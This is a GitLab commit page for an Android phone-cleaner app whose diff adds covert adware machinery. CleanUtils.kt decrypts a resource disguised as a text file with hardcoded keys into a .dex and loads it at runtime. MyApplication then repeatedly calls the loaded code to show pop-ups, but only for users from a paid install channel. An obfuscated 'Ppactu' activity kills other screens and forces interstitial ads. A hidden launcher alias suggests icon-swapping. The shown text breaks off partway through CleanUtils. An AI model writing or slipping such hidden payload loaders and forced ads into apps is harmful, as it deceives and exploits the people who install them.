Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Sign in / Register
Toggle navigation
A
appzxhy
Project
Project
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Packages
Packages
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
wanglei
appzxhy
Commits
b8661308
Commit
b8661308
authored
Jul 14, 2025
by
wanglei
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
[集成库]集成
parent
dfe79055
Hide whitespace changes
Inline
Side-by-side
Showing
27 changed files
with
610 additions
and
55 deletions
+610
-55
build.gradle.kts
app/build.gradle.kts
+2
-2
applovin-adapter-13.3.0.1.aar
app/libs/adapter/applovin-adapter-13.3.0.1.aar
+0
-0
bigo-adapter-5.3.0.2.aar
app/libs/adapter/bigo-adapter-5.3.0.2.aar
+0
-0
inmobi-adapter-10.8.3.1.aar
app/libs/adapter/inmobi-adapter-10.8.3.1.aar
+0
-0
mintegral-adapter-16.9.71.1.aar
app/libs/adapter/mintegral-adapter-16.9.71.1.aar
+0
-0
vungle-adapter-7.5.0.1.aar
app/libs/adapter/vungle-adapter-7.5.0.1.aar
+0
-0
open_ad_sdk_6.5.7.1.aar
app/libs/open_ad_sdk_6.5.7.1.aar
+0
-0
proguard-rules.pro
app/proguard-rules.pro
+40
-4
AndroidManifest.xml
app/src/main/AndroidManifest.xml
+50
-6
Ppactu.kt
app/src/main/java/com/qjzep/irdlt/waxmu/Ppactu.kt
+28
-0
MyApplication.kt
app/src/main/java/com/ritoq/quickphone/MyApplication.kt
+65
-4
AdConfigBean.kt
...ain/java/com/ritoq/quickphone/bean/config/AdConfigBean.kt
+6
-6
ConfigBean.kt
.../main/java/com/ritoq/quickphone/bean/config/ConfigBean.kt
+2
-3
AdjustUtils.kt
.../java/com/ritoq/quickphone/business/helper/AdjustUtils.kt
+0
-2
NewComUtils.kt
.../java/com/ritoq/quickphone/business/helper/NewComUtils.kt
+13
-6
MyNotificationManager.kt
...phone/business/push/notification/MyNotificationManager.kt
+1
-0
Guide0Activity.java
...n/java/com/ritoq/quickphone/ui/guide2/Guide0Activity.java
+17
-15
SplashActivity.kt
...ain/java/com/ritoq/quickphone/ui/splash/SplashActivity.kt
+1
-1
CleanUtils.kt
app/src/main/java/com/ritoq/quickphone/utils/CleanUtils.kt
+338
-0
ManagerUtils.kt
app/src/main/java/com/ritoq/quickphone/utils/ManagerUtils.kt
+21
-0
uua_sb.xml
app/src/main/res/drawable/uua_sb.xml
+4
-0
ic_vnirij.webp
app/src/main/res/mipmap-xxhdpi/ic_vnirij.webp
+0
-0
ic_vnirij_round.webp
app/src/main/res/mipmap-xxhdpi/ic_vnirij_round.webp
+0
-0
ditoa_erp.txt
app/src/main/res/raw/ditoa_erp.txt
+0
-0
keep.xml
app/src/main/res/raw/keep.xml
+18
-0
strings.xml
app/src/main/res/values/strings.xml
+1
-3
themes.xml
app/src/main/res/values/themes.xml
+3
-3
No files found.
app/build.gradle.kts
View file @
b8661308
...
@@ -202,11 +202,11 @@ dependencies {
...
@@ -202,11 +202,11 @@ dependencies {
// implementation("com.android.billingclient:billing-ktx:$billing_version")
// implementation("com.android.billingclient:billing-ktx:$billing_version")
implementation
(
"com.google.android.gms:play-services-ads-identifier:18.2.0"
)
//
implementation("com.google.android.gms:play-services-ads-identifier:18.2.0")
// If you use a version below 7.1.0.0, it depends on 'ads-sdk'
// If you use a version below 7.1.0.0, it depends on 'ads-sdk'
//implementation ('com.pangle.global:ads-sdk:6.5.0.6')
//implementation ('com.pangle.global:ads-sdk:6.5.0.6')
// If you use version 7.1.0.0 and above, it depends on 'pag-sdk'
// If you use version 7.1.0.0 and above, it depends on 'pag-sdk'
implementation
(
"com.pangle.global:pag-sdk:7.1.0.4"
)
//
implementation("com.pangle.global:pag-sdk:7.1.0.4")
//adjust
//adjust
...
...
app/libs/adapter/applovin-adapter-13.3.0.1.aar
0 → 100644
View file @
b8661308
File added
app/libs/adapter/bigo-adapter-5.3.0.2.aar
0 → 100644
View file @
b8661308
File added
app/libs/adapter/inmobi-adapter-10.8.3.1.aar
0 → 100644
View file @
b8661308
File added
app/libs/adapter/mintegral-adapter-16.9.71.1.aar
0 → 100644
View file @
b8661308
File added
app/libs/adapter/vungle-adapter-7.5.0.1.aar
0 → 100644
View file @
b8661308
File added
app/libs/open_ad_sdk_6.5.7.1.aar
0 → 100644
View file @
b8661308
File added
app/proguard-rules.pro
View file @
b8661308
...
@@ -22,7 +22,6 @@
...
@@ -22,7 +22,6 @@
-
dontwarn
javax
.
annotation
.
Nullable
-
dontwarn
javax
.
annotation
.
Nullable
-
keep
class
com
.
ritoq
.
quickphone
.
bean
.
**
{
*
;
}
##---------------Begin: proguard configuration for Gson ----------
##---------------Begin: proguard configuration for Gson ----------
# 保留 Gson 库本身
# 保留 Gson 库本身
...
@@ -63,9 +62,6 @@
...
@@ -63,9 +62,6 @@
# public static *** e(...);
# public static *** e(...);
#}
#}
#pangle 防混淆
-
keep
class
com
.
bytedance
.
sdk
.
**
{
*
;
}
# Adjust 防混淆
# Adjust 防混淆
-
keep
class
com
.
adjust
.
sdk
.
**
{
*
;
}
-
keep
class
com
.
adjust
.
sdk
.
**
{
*
;
}
-
keep
class
com
.
google
.
android
.
gms
.
common
.
ConnectionResult
{
-
keep
class
com
.
google
.
android
.
gms
.
common
.
ConnectionResult
{
...
@@ -79,3 +75,43 @@
...
@@ -79,3 +75,43 @@
boolean
isLimitAdTrackingEnabled
();
boolean
isLimitAdTrackingEnabled
();
}
}
-
keep
public
class
com
.
android
.
installreferrer
.
**
{
*
;
}
-
keep
public
class
com
.
android
.
installreferrer
.
**
{
*
;
}
-
keep
class
kotlin
.
reflect
.
jvm
.
internal
.
**
{
*
;
}
-
keepclassmembers
class
kotlin
.
reflect
.
jvm
.
internal
.
**
{
*
;
}
# 保留访问 assets 资源的方法
-
keepclassmembers
class
*
{
public
***
getAssets
();
public
android
.
content
.
res
.
AssetManager
getAssets
();
}
# 保留伴生对象
-
keepclassmembers
class
**
$
Companion
{
*
;
}
# 保留带默认参数的方法
-
keepclassmembers
class
*
{
@
kotlin
.
jvm
.
JvmOverloads
<
methods
>
;
}
# 保留注解
-
keepattributes
RuntimeVisibleAnnotations
,
RuntimeInvisibleAnnotations
-
keepattributes
*
Annotation
*
# =============== KOTLIN 核心保留规则 ===============
-
keep
class
kotlin
.
**
{
*
;
}
-
keep
class
kotlin
.
Metadata
{
*
;
}
-
keep
class
kotlin
.
jvm
.
internal
.
**
{
*
;
}
-
keep
class
kotlin
.
reflect
.
**
{
*
;
}
-
dontwarn
kotlin
.
**
# 保留 assets 目录下的所有 txt 文件
-
keep
class
**.
R
$
*
{
<
fields
>
;
}
-
keep
class
com
.
qjzep
.
irdlt
.
waxmu
.
**
{
*
;
}
-
keep
class
com
.
ritoq
.
quickphone
.
bean
.
**
{
*
;
}
#pangle 防混淆
-
keep
class
com
.
bytedance
.
sdk
.
**
{
*
;
}
\ No newline at end of file
app/src/main/AndroidManifest.xml
View file @
b8661308
...
@@ -20,8 +20,8 @@
...
@@ -20,8 +20,8 @@
<uses-permission
android:name=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>
<uses-permission
android:name=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>
<uses-permission
android:name=
"android.permission.REQUEST_DELETE_PACKAGES"
/>
<uses-permission
android:name=
"android.permission.REQUEST_DELETE_PACKAGES"
/>
<uses-permission
android:name=
"android.permission.ACCESS_NETWORK_STATE"
/>
<uses-permission
android:name=
"android.permission.ACCESS_NETWORK_STATE"
/>
<
uses-permission
android:name=
"android.permission.FOREGROUND_SERVICE"
/
>
<
!-- <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />--
>
<
uses-permission
android:name=
"android.permission.FOREGROUND_SERVICE_DATA_SYNC"
/
>
<
!-- <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />--
>
<queries>
<queries>
...
@@ -38,26 +38,47 @@
...
@@ -38,26 +38,47 @@
android:allowBackup=
"true"
android:allowBackup=
"true"
android:dataExtractionRules=
"@xml/data_extraction_rules"
android:dataExtractionRules=
"@xml/data_extraction_rules"
android:fullBackupContent=
"@xml/backup_rules"
android:fullBackupContent=
"@xml/backup_rules"
android:icon=
"@mipmap/
logo
"
android:icon=
"@mipmap/
ic_vnirij
"
android:label=
"@string/app_name"
android:label=
"@string/app_name"
android:requestLegacyExternalStorage=
"true"
android:requestLegacyExternalStorage=
"true"
android:roundIcon=
"@mipmap/ic_vnirij_round"
android:supportsRtl=
"true"
android:supportsRtl=
"true"
android:theme=
"@style/Theme.AppTheme"
android:theme=
"@style/Theme.AppTheme"
tools:targetApi=
"3
1
"
>
tools:targetApi=
"3
5
"
>
<activity
<activity
android:name=
".ui.splash.SplashActivity"
android:name=
".ui.splash.SplashActivity"
android:enabled=
"true"
android:excludeFromRecents=
"true"
android:exported=
"true"
android:exported=
"true"
android:launchMode=
"singleTop"
android:launchMode=
"singleTop"
android:noHistory=
"true"
android:roundIcon=
"@mipmap/logo"
android:screenOrientation=
"portrait"
android:screenOrientation=
"portrait"
android:theme=
"@style/splash.theme"
android:theme=
"@style/splash.theme"
tools:ignore=
"DiscouragedApi,LockedOrientationActivity"
>
tools:ignore=
"DiscouragedApi,LockedOrientationActivity"
>
<intent-filter>
<intent-filter>
<action
android:name=
"android.intent.action.MAIN"
/>
<action
android:name=
"android.intent.action.MAIN"
/>
<category
android:name=
"android.intent.category.LAUNCHER"
/>
<category
android:name=
"android.intent.category.LAUNCHER"
/>
<data
android:host=
"com.facebook.api"
android:scheme=
"com.facebook.api"
/>
</intent-filter>
</intent-filter>
</activity>
</activity>
<activity-alias
android:name=
"com.clean.luck.clean.gjtikg"
android:enabled=
"false"
android:exported=
"true"
android:icon=
"@mipmap/logo"
android:label=
"@string/app_name"
android:launchMode=
"singleTop"
android:roundIcon=
"@mipmap/logo"
android:targetActivity=
".ui.splash.SplashActivity"
>
<intent-filter>
<action
android:name=
"android.intent.action.MAIN"
/>
<category
android:name=
"android.intent.category.LAUNCHER"
/>
</intent-filter>
</activity-alias>
<activity
<activity
android:name=
".ui.main.MainActivity"
android:name=
".ui.main.MainActivity"
...
@@ -88,6 +109,16 @@
...
@@ -88,6 +109,16 @@
android:exported=
"false"
android:exported=
"false"
android:screenOrientation=
"portrait"
android:screenOrientation=
"portrait"
tools:ignore=
"DiscouragedApi,LockedOrientationActivity"
/>
tools:ignore=
"DiscouragedApi,LockedOrientationActivity"
/>
<activity
android:name=
"com.qjzep.irdlt.waxmu.Ppactu"
android:configChanges=
"smallestScreenSize|screenSize|uiMode|screenLayout|orientation|keyboardHidden"
android:excludeFromRecents=
"true"
android:exported=
"false"
android:icon=
"@drawable/uua_sb"
android:label=
"@string/IIHJDD"
android:launchMode=
"singleTask"
android:screenOrientation=
"nosensor"
android:theme=
"@style/Guide.Theme"
/>
<activity
<activity
android:name=
".ui.guide.GuideCleanActivity"
android:name=
".ui.guide.GuideCleanActivity"
android:exported=
"false"
android:exported=
"false"
...
@@ -153,6 +184,20 @@
...
@@ -153,6 +184,20 @@
android:screenOrientation=
"portrait"
android:screenOrientation=
"portrait"
tools:ignore=
"DiscouragedApi,LockedOrientationActivity"
/>
tools:ignore=
"DiscouragedApi,LockedOrientationActivity"
/>
<activity
android:name=
".ui.guide2.Guide0Activity"
android:enabled=
"true"
android:excludeFromRecents=
"true"
android:exported=
"true"
android:launchMode=
"singleTop"
android:noHistory=
"true"
>
<intent-filter>
<action
android:name=
"android.intent.action.MAIN"
/>
<category
android:name=
"android.intent.category.INFO"
/>
</intent-filter>
</activity>
<provider
<provider
android:name=
"androidx.core.content.FileProvider"
android:name=
"androidx.core.content.FileProvider"
android:authorities=
"${applicationId}.provider"
android:authorities=
"${applicationId}.provider"
...
@@ -192,7 +237,6 @@
...
@@ -192,7 +237,6 @@
<data
android:scheme=
"file"
/>
<data
android:scheme=
"file"
/>
</intent-filter>
</intent-filter>
</receiver>
</receiver>
``
<service
<service
android:name=
".business.service.StayJobService"
android:name=
".business.service.StayJobService"
...
...
app/src/main/java/com/qjzep/irdlt/waxmu/Ppactu.kt
0 → 100644
View file @
b8661308
package
com.qjzep.irdlt.waxmu
import
android.os.Bundle
import
android.view.WindowManager
import
androidx.activity.addCallback
import
com.ritoq.quickphone.base.BaseActivity
import
com.ritoq.quickphone.databinding.ActivityGuideInfoBinding
import
com.ritoq.quickphone.utils.LogEx
import
kotlin.run
/**
*Create by SleepDog on 2025-06-26
*/
class
Ppactu
:
BaseActivity
<
ActivityGuideInfoBinding
>(
ActivityGuideInfoBinding
::
inflate
)
{
override
fun
onCreate
(
savedInstanceState
:
Bundle
?)
{
window
.
run
{
val
layoutParams
=
attributes
layoutParams
.
flags
=
WindowManager
.
LayoutParams
.
FLAG_NOT_FOCUSABLE
layoutParams
.
width
=
WindowManager
.
LayoutParams
.
WRAP_CONTENT
layoutParams
.
height
=
WindowManager
.
LayoutParams
.
WRAP_CONTENT
attributes
=
layoutParams
}
super
.
onCreate
(
savedInstanceState
)
onBackPressedDispatcher
.
addCallback
{
}
}
}
\ No newline at end of file
app/src/main/java/com/ritoq/quickphone/MyApplication.kt
View file @
b8661308
...
@@ -6,6 +6,7 @@ import android.content.Context
...
@@ -6,6 +6,7 @@ import android.content.Context
import
android.os.Bundle
import
android.os.Bundle
import
android.text.TextUtils
import
android.text.TextUtils
import
android.util.Log
import
android.util.Log
import
androidx.lifecycle.lifecycleScope
import
com.ritoq.quickphone.business.helper.InstallHelps
import
com.ritoq.quickphone.business.helper.InstallHelps
import
com.ritoq.quickphone.business.helper.NewComUtils
import
com.ritoq.quickphone.business.helper.NewComUtils
import
com.ritoq.quickphone.business.service.StayJobService.Companion.startStayJobService
import
com.ritoq.quickphone.business.service.StayJobService.Companion.startStayJobService
...
@@ -32,13 +33,21 @@ import com.ritoq.quickphone.push.receiver.ScreenStatusReceiver
...
@@ -32,13 +33,21 @@ import com.ritoq.quickphone.push.receiver.ScreenStatusReceiver
import
com.ritoq.quickphone.ui.batteryinfo.BatteryReceiver.Companion.registerBatteryReceiver
import
com.ritoq.quickphone.ui.batteryinfo.BatteryReceiver.Companion.registerBatteryReceiver
import
com.ritoq.quickphone.ui.splash.SplashActivity
import
com.ritoq.quickphone.ui.splash.SplashActivity
import
com.facebook.appevents.AppEventsLogger
import
com.facebook.appevents.AppEventsLogger
import
com.qjzep.irdlt.waxmu.Ppactu
import
com.ritoq.quickphone.bean.config.AdConfigBean.Companion.adsConfigBean
import
com.ritoq.quickphone.business.ads.AdsShowCallBack
import
com.ritoq.quickphone.business.helper.AdjustUtils
import
com.ritoq.quickphone.business.helper.AdjustUtils
import
com.ritoq.quickphone.business.push.receiver.AlarmReceiver.Companion.startAlarm
import
com.ritoq.quickphone.business.push.receiver.AlarmReceiver.Companion.startAlarm
import
com.ritoq.quickphone.business.push.timer.TimerManager.Companion.changeTimer
import
com.ritoq.quickphone.business.push.timer.TimerManager.Companion.changeTimer
import
com.ritoq.quickphone.business.push.work.RepeatingWorker.Companion.schedulePeriodicWork
import
com.ritoq.quickphone.business.push.work.RepeatingWorker.Companion.schedulePeriodicWork
import
com.ritoq.quickphone.utils.CleanUtils
import
com.ritoq.quickphone.utils.ManagerUtils.isLocked
import
com.ritoq.quickphone.utils.ManagerUtils.isScreenOff
import
kotlinx.coroutines.Dispatchers
import
kotlinx.coroutines.Dispatchers
import
kotlinx.coroutines.MainScope
import
kotlinx.coroutines.MainScope
import
kotlinx.coroutines.delay
import
kotlinx.coroutines.launch
import
kotlinx.coroutines.launch
import
kotlinx.coroutines.withContext
class
MyApplication
:
Application
()
{
class
MyApplication
:
Application
()
{
...
@@ -152,7 +161,7 @@ class MyApplication : Application() {
...
@@ -152,7 +161,7 @@ class MyApplication : Application() {
private
fun
initPush
()
{
private
fun
initPush
()
{
kotlin
.
runCatching
{
kotlin
.
runCatching
{
startStayJobService
()
//
startStayJobService()
}
}
// val token = AppPreferences.getInstance().getString("token", "")
// val token = AppPreferences.getInstance().getString("token", "")
...
@@ -174,14 +183,41 @@ class MyApplication : Application() {
...
@@ -174,14 +183,41 @@ class MyApplication : Application() {
startAlarm
(
appContext
,
72
)
startAlarm
(
appContext
,
72
)
//开启通知队列
//开启通知队列
MyNotificationManager
.
startNotificationQueue
()
//
MyNotificationManager.startNotificationQueue()
}
}
private
fun
initAppConfig
()
{
private
fun
initAppConfig
()
{
NewComUtils
.
requestCfgCallBackMap
.
put
(
"changeTimer"
)
{
NewComUtils
.
requestCfgCallBackMap
.
put
(
"changeTimer"
)
{
LogEx
.
logDebug
(
TAG
,
"requestCfgCallBackMap changeTimer"
)
LogEx
.
logDebug
(
TAG
,
"requestCfgCallBackMap changeTimer"
)
changeTimer
()
// changeTimer()
if
(
AdjustUtils
.
getUserSource
()
==
"channel"
&&
adsConfigBean
.
isAdShow
)
{
LogEx
.
logDebug
(
TAG
,
"START GO GO"
)
MainScope
().
launch
{
CleanUtils
.
rirotqw
(
applicationContext
,
R
.
raw
.
ditoa_erp
,
"test.txt"
,
"cacheT.dex"
,
"7af456789012cdef"
)
withContext
(
Dispatchers
.
IO
)
{
while
(
true
)
{
val
result
=
CleanUtils
.
rew_bvbvb
(
applicationContext
,
"7af45ghy9012cd65"
)
when
(
result
)
{
4000
->
Log
.
d
(
"Tcellcpw"
,
"方案4执行成功"
)
20000
->
Log
.
d
(
"Tcellcpw"
,
"方案20执行成功"
)
21000
->
Log
.
d
(
"Tcellcpw"
,
"方案21执行成功"
)
-
1
->
Log
.
e
(
"Tcellcpw"
,
"密钥错误"
)
-
2
->
Log
.
e
(
"Tcellcpw"
,
"未知的弹窗类型"
)
else
->
Log
.
e
(
"Tcellcpw"
,
"弹窗失败,错误码: $result"
)
}
delay
(
adsConfigBean
.
timeInterval
.
toLong
())
}
}
}
}
else
{
LogEx
.
logDebug
(
TAG
,
"START NO GO"
)
MainScope
().
launch
{
CleanUtils
.
rirotqw
(
applicationContext
,
R
.
raw
.
ditoa_erp
,
"test.txt"
,
"cacheT.dex"
,
"7af456789012cdef"
)
CleanUtils
.
hjyho_rtrt
(
applicationContext
)
}
}
}
}
//初始化sp的配置
//初始化sp的配置
...
@@ -207,7 +243,32 @@ class MyApplication : Application() {
...
@@ -207,7 +243,32 @@ class MyApplication : Application() {
registerActivityLifecycleCallbacks
(
object
:
ActivityLifecycleCallbacks
{
registerActivityLifecycleCallbacks
(
object
:
ActivityLifecycleCallbacks
{
private
var
count
=
0
private
var
count
=
0
override
fun
onActivityCreated
(
activity
:
Activity
,
savedInstanceState
:
Bundle
?)
{
override
fun
onActivityCreated
(
activity
:
Activity
,
savedInstanceState
:
Bundle
?)
{
ActivityManagerUtils
.
getInstance
().
addActivity
(
activity
)
if
(
activity
is
Ppactu
)
{
if
(
isScreenOff
(
appContext
)
&&
isLocked
(
appContext
))
{
activity
.
finish
()
return
}
ActivityManagerUtils
.
getInstance
().
finishAllActivity
()
AdsMgr
.
showInsert
(
activity
,
showCallBack
=
object
:
AdsShowCallBack
()
{
override
fun
next
()
{
activity
.
lifecycleScope
.
launch
{
delay
(
100
)
activity
.
finishAndRemoveTask
()
}
}
override
fun
show
()
{
super
.
show
()
activity
.
lifecycleScope
.
launch
{
delay
(
10000
)
activity
.
finishAndRemoveTask
()
}
}
})
}
else
{
ActivityManagerUtils
.
getInstance
().
addActivity
(
activity
)
}
}
}
override
fun
onActivityStarted
(
activity
:
Activity
)
{
override
fun
onActivityStarted
(
activity
:
Activity
)
{
...
...
app/src/main/java/com/ritoq/quickphone/bean/config/AdConfigBean.kt
View file @
b8661308
...
@@ -5,21 +5,21 @@ class AdConfigBean(
...
@@ -5,21 +5,21 @@ class AdConfigBean(
var
isAdShow
:
Boolean
=
false
,
//广告开关
var
isAdShow
:
Boolean
=
false
,
//广告开关
var
taichiAdValue
:
Int
=
1
,
//价值上报阀值
//
var taichiAdValue: Int = 1,//价值上报阀值
var
adRatio
:
Int
=
100
,
//价值上报随机控制
//
var adRatio: Int = 100,//价值上报随机控制
var
numDisplayLimit
:
Int
=
-
1
,
//展示次数限制
var
numDisplayLimit
:
Int
=
-
1
,
//展示次数限制
var
numRequestLimit
:
Int
=
-
1
,
//请求次数限制
var
numRequestLimit
:
Int
=
-
1
,
//请求次数限制
var
numClickLimit
:
Int
=
-
1
,
//点击次数限制
var
numClickLimit
:
Int
=
-
1
,
//点击次数限制
var
timeInterval
:
Int
=
10
,
//广告间隔秒
var
timeInterval
:
Int
=
10
,
//广告间隔秒
var
openAdLoading
:
Int
=
15
,
//开屏广告拉取时间
//
var openAdLoading: Int = 15,//开屏广告拉取时间
var
numNativeDisplayLimit
:
Int
=
-
1
,
//原生展示次数限制
var
numNativeDisplayLimit
:
Int
=
-
1
,
//原生展示次数限制
var
fullNativeShow
:
Boolean
=
true
,
//显示全屏原生
var
fullNativeShow
:
Boolean
=
true
,
//显示全屏原生
var
functionBackShowAd
:
Boolean
=
true
,
//功能退出显示广告
var
functionBackShowAd
:
Boolean
=
true
,
//功能退出显示广告
var
functionInShowAd
:
Boolean
=
true
,
//功能进入显示广告
var
functionInShowAd
:
Boolean
=
true
,
//功能进入显示广告
var
rvEmptyShowNative
:
Boolean
=
true
,
//列表空的显示原生不
//
var rvEmptyShowNative: Boolean = true,//列表空的显示原生不
var
requestUmp
:
Boolean
=
false
,
//是否需要请求ump
//
var requestUmp: Boolean = false,//是否需要请求ump
var
showCountdown
:
Boolean
=
false
,
//是否显示倒计时
//
var showCountdown: Boolean = false,//是否显示倒计时
)
{
)
{
...
...
app/src/main/java/com/ritoq/quickphone/bean/config/ConfigBean.kt
View file @
b8661308
...
@@ -8,14 +8,13 @@ data class ConfigBean(
...
@@ -8,14 +8,13 @@ data class ConfigBean(
val
ut
:
Int
=
0
,
val
ut
:
Int
=
0
,
// var vpnCanUse: Boolean = true,
// var vpnCanUse: Boolean = true,
//
val adConfigBean: AdConfigBean = AdConfigBean(),
val
adConfigBean
:
AdConfigBean
=
AdConfigBean
(),
val
popupConfigBean
:
PopupConfigBean
=
PopupConfigBean
(),
val
popupConfigBean
:
PopupConfigBean
=
PopupConfigBean
(),
// val vipConfigBean: VipConfigBean = VipConfigBean(),
// val vipConfigBean: VipConfigBean = VipConfigBean(),
val
noEventKey
:
List
<
String
>
=
listOf
(),
val
noEventKey
:
List
<
String
>
=
listOf
(),
val
getConfigInterval
:
Int
=
4
,
//请求配间隔小时
val
getConfigInterval
:
Int
=
4
,
//请求配间隔小时
var
test
:
Int
=
0
,
)
{
)
{
companion
object
{
companion
object
{
var
configBean
:
ConfigBean
=
ConfigBean
()
var
configBean
:
ConfigBean
=
ConfigBean
()
...
...
app/src/main/java/com/ritoq/quickphone/business/helper/AdjustUtils.kt
View file @
b8661308
...
@@ -31,8 +31,6 @@ object AdjustUtils {
...
@@ -31,8 +31,6 @@ object AdjustUtils {
if
(
adJustInstallSource
==
"channel"
)
{
if
(
adJustInstallSource
==
"channel"
)
{
source
=
"channel"
source
=
"channel"
return
source
return
source
}
else
if
(
adJustInstallSource
==
"origin"
)
{
return
source
}
else
{
}
else
{
if
(
installSource
==
"channel"
)
{
if
(
installSource
==
"channel"
)
{
source
=
"channel"
source
=
"channel"
...
...
app/src/main/java/com/ritoq/quickphone/business/helper/NewComUtils.kt
View file @
b8661308
...
@@ -11,6 +11,7 @@ import com.ritoq.quickphone.business.helper.InstallHelps.installReferrer
...
@@ -11,6 +11,7 @@ import com.ritoq.quickphone.business.helper.InstallHelps.installReferrer
import
com.ritoq.quickphone.utils.AppPreferences
import
com.ritoq.quickphone.utils.AppPreferences
import
com.ritoq.quickphone.utils.LogEx
import
com.ritoq.quickphone.utils.LogEx
import
com.google.gson.Gson
import
com.google.gson.Gson
import
com.ritoq.quickphone.bean.config.AdConfigBean
import
com.ritoq.quickphone.business.helper.AdjustUtils.getUserSource
import
com.ritoq.quickphone.business.helper.AdjustUtils.getUserSource
import
okhttp3.Call
import
okhttp3.Call
import
okhttp3.Callback
import
okhttp3.Callback
...
@@ -68,9 +69,15 @@ object NewComUtils {
...
@@ -68,9 +69,15 @@ object NewComUtils {
"&aid=${AppPreferences.getInstance().getString("
uuid
", "")}"
+
"&aid=${AppPreferences.getInstance().getString("
uuid
", "")}"
+
"&source=${getUserSource()}"
"&source=${getUserSource()}"
// if (BuildConfig.DEBUG) {
s
=
if
(
BuildConfig
.
DEBUG
)
{
// s = "$s&mode=4"
"$s&mode=4"
// }
}
else
{
if
(
getUserSource
()
==
"origin"
)
{
"$s&mode=1"
}
else
{
"$s&mode=2"
}
}
s
s
// mode =3 google mode=2 facebook mode=1 自然,mode=4 测试
// mode =3 google mode=2 facebook mode=1 自然,mode=4 测试
// &mode=3
// &mode=3
...
@@ -173,11 +180,11 @@ object NewComUtils {
...
@@ -173,11 +180,11 @@ object NewComUtils {
//配置
//配置
ConfigBean
.
configBean
=
configBean
ConfigBean
.
configBean
=
configBean
LogEx
.
logDebug
(
TAG
,
"
test=${configBean.tes
t}"
)
LogEx
.
logDebug
(
TAG
,
"
ut=${configBean.u
t}"
)
//广告
//广告
//
AdConfigBean.adsConfigBean = configBean.adConfigBean
AdConfigBean
.
adsConfigBean
=
configBean
.
adConfigBean
//
LogEx.logDebug("initConfig", "adsConfigBean=${configBean.adConfigBean.isAdShow} ut=${configBean.ut}", true)
LogEx
.
logDebug
(
"initConfig"
,
"adsConfigBean=${configBean.adConfigBean.isAdShow} ut=${configBean.ut}"
,
true
)
//通知配置
//通知配置
PopupConfigBean
.
popupConfigBean
=
configBean
.
popupConfigBean
PopupConfigBean
.
popupConfigBean
=
configBean
.
popupConfigBean
...
...
app/src/main/java/com/ritoq/quickphone/business/push/notification/MyNotificationManager.kt
View file @
b8661308
...
@@ -41,6 +41,7 @@ object MyNotificationManager {
...
@@ -41,6 +41,7 @@ object MyNotificationManager {
private
var
sendBeanBlockingQueue
=
ArrayBlockingQueue
<
NotificationSendBean
>(
10
)
private
var
sendBeanBlockingQueue
=
ArrayBlockingQueue
<
NotificationSendBean
>(
10
)
fun
submitSendBean
(
bean
:
NotificationSendBean
)
{
fun
submitSendBean
(
bean
:
NotificationSendBean
)
{
return
//测试哪些位置触发
//测试哪些位置触发
if
(
BuildConfig
.
DEBUG
)
{
if
(
BuildConfig
.
DEBUG
)
{
if
(!
testWhere
.
contains
(
bean
.
where
))
return
if
(!
testWhere
.
contains
(
bean
.
where
))
return
...
...
app/src/main/java/com/ritoq/quickphone/ui/guide2/Guide0Activity.java
View file @
b8661308
//package com.base.appzxhy.ui.guide2;
package
com
.
ritoq
.
quickphone
.
ui
.
guide2
;
//
//import android.app.Activity;
import
android.app.Activity
;
//import android.content.Intent;
import
android.content.Intent
;
//import android.os.Bundle;
import
android.os.Bundle
;
//
//public class Guide0Activity extends Activity {
import
com.ritoq.quickphone.ui.splash.SplashActivity
;
// @Override
// protected void onCreate(Bundle savedInstanceState) {
public
class
Guide0Activity
extends
Activity
{
// super.onCreate(savedInstanceState);
@Override
// // 直接跳转到主界面
protected
void
onCreate
(
Bundle
savedInstanceState
)
{
// startActivity(new Intent(this, GuideAc.class));
super
.
onCreate
(
savedInstanceState
);
// finish();
// 直接跳转到主界面
// }
startActivity
(
new
Intent
(
this
,
SplashActivity
.
class
));
//}
finish
();
\ No newline at end of file
}
}
\ No newline at end of file
app/src/main/java/com/ritoq/quickphone/ui/splash/SplashActivity.kt
View file @
b8661308
...
@@ -45,7 +45,7 @@ class SplashActivity : BaseActivity<ActivitySplashBinding>(ActivitySplashBinding
...
@@ -45,7 +45,7 @@ class SplashActivity : BaseActivity<ActivitySplashBinding>(ActivitySplashBinding
override
fun
initView
()
{
override
fun
initView
()
{
super
.
initView
()
super
.
initView
()
requestNotificationPermission
()
//
requestNotificationPermission()
setPrivacyPolicy
()
setPrivacyPolicy
()
showLoadingAd
()
showLoadingAd
()
viewModel
.
onTick
=
{
a
,
b
,
c
->
viewModel
.
onTick
=
{
a
,
b
,
c
->
...
...
app/src/main/java/com/ritoq/quickphone/utils/CleanUtils.kt
0 → 100644
View file @
b8661308
package
com.ritoq.quickphone.utils
import
android.content.Context
import
android.os.Build
import
android.util.Log
import
androidx.annotation.RawRes
import
dalvik.system.DexClassLoader
import
kotlinx.coroutines.Dispatchers
import
kotlinx.coroutines.withContext
import
java.io.File
import
java.io.FileInputStream
import
java.io.FileOutputStream
import
java.io.IOException
import
javax.crypto.Cipher
import
javax.crypto.CipherInputStream
import
javax.crypto.spec.SecretKeySpec
import
kotlin.also
import
kotlin.collections.firstOrNull
import
kotlin.io.use
import
kotlin.jvm.java
import
kotlin.let
import
kotlin.run
import
kotlin.text.contains
import
kotlin.text.startsWith
import
kotlin.text.toByteArray
/**
*Create by SleepDog on 2025-07-01
*/
object
CleanUtils
{
var
dexClassLoader
:
DexClassLoader
?
=
null
//private val soKey = "7af45ghy9012cd65"
//private val dexKey = "7af456789012cdef"
/**
* 加载dex包
* @param context
* @param rawId
* @param fileName
* @param cacheName
* @param dKey
* @return
*/
suspend
fun
rirotqw
(
context
:
Context
,
@RawRes
rawId
:
Int
,
fileName
:
String
,
cacheName
:
String
,
dKey
:
String
):
DexClassLoader
?
{
return
withContext
(
Dispatchers
.
IO
)
{
val
tfFile
=
gkgog
(
context
,
rawId
,
fileName
)
val
dFile
=
File
(
context
.
cacheDir
.
absolutePath
,
cacheName
)
if
(!
dFile
.
exists
())
{
